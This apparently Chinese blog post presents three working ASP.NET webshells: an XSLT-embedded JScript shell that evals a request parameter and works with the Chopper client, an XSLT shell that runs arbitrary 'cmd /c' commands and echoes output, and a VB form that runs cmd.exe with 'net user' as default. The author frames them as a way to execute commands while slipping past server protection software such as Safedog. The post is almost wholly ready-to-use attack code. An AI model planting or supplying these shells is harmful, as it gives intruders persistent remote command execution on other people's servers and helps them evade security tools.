Xsl Exec Webshell (aspx)

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关于使用xsl的webshell以前已经有人发过了，比如aspx的一个webshell如下：

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<%@ Page Language="C#" Debug="true" %>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"<?xml version=""1.0""?><root>test</root>";
string xslt=@"<?xml version='1.0'?>
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
	<msxsl:script language=""JScript"" implements-prefix=""zcg"">
		<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
		<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
		<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
		<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
		<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
	</msxsl:script>
<xsl:template match=""/root"">
	<xsl:value-of select=""zcg:xml()""/>
</xsl:template>
</xsl:stylesheet>";
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());

%>

密码为 a，这个webshell是可以用菜刀连接的，测试碰到这种情况：服务器有安全狗等防护软件，提交的各种数据包可能会拦截，而现在想要做的就是执行命令就可以了，为了方便，写了一个命令执行的webshell，可回显，可改密码，具体代码如下：

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<%@page language="C#"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"<?xml version=""1.0""?><root>test</root>";
string xslt=@"<?xml version='1.0'?>
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
	<msxsl:script language=""JScript"" implements-prefix=""zcg"">
	<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
	<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
	<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
	<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
		<![CDATA[function xml(){
		var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;
		var command = Request.Item['cmd'];
		var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);
		var OutStream = r.StdOut;
		var Str = """";
		while (!OutStream.atEndOfStream) {
    		Str = Str + OutStream.readAll();
			}
		Response.Write(""<pre>""+Str+""</pre>"");
		}]]>
	</msxsl:script>
<xsl:template match=""/root"">
	<xsl:value-of select=""zcg:xml()""/>
</xsl:template>
</xsl:stylesheet>";
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XsltSettings xslt_settings = new XsltSettings(false, true);
xslt_settings.EnableScript = true;
try{
	XslCompiledTransform xct=new XslCompiledTransform();
	xct.Load(xsldoc,xslt_settings,new XmlUrlResolver());
	xct.Transform(xmldoc,null,new MemoryStream());
}
catch (Exception e){
    Response.Write("Error");
}
%>

密码为cmd，可自己改，测试如下图：

123.png

附带一个大马里面的命令执行：

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<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">      

Sub RunCmd(Src As Object, E As EventArgs)            
  Dim myProcess As New Process()            
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  myProcessStartInfo.UseShellExecute = false            
  myProcessStartInfo.RedirectStandardOutput = true            
  myProcess.StartInfo = myProcessStartInfo            
  myProcessStartInfo.Arguments=xcmd.text            
  myProcess.Start()            

  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  Dim myString As String = myStreamReader.Readtoend()            
  myProcess.Close()            
  mystring=replace(mystring,"<","&lt;")            
  mystring=replace(mystring,">","&gt;")            
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
End Sub

</script>

<html>
<body>    
<form runat="server">        
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
<p><asp:Label id="result" runat="server"></asp:Label>       
</form>
</body>
</html>

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